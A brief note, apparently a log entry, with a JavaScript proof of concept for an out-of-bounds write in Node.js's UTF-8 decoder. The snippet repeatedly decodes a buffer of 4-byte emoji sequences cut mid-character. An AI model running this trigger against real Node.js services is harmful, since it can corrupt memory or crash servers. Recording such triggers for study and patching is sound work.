nodejs out-of-band write in utf8 decoder 日志记录 

Node.js

``` js
while(1){
    var size = 1028;
    var buf = Buffer(size);
    for(var i=0;i<size;i+=4) {
        buf[i]   =  0xf0;
        buf[i+1] =  0x9f;
        buf[i+2] =  0x98;
        buf[i+3] =  0x8a;
    }

    var r = Buffer(size-3);

    for (var i =0;i<r.length; i++) {
        r[i] = buf[i];  
    }
    s = r.toString();
}
```
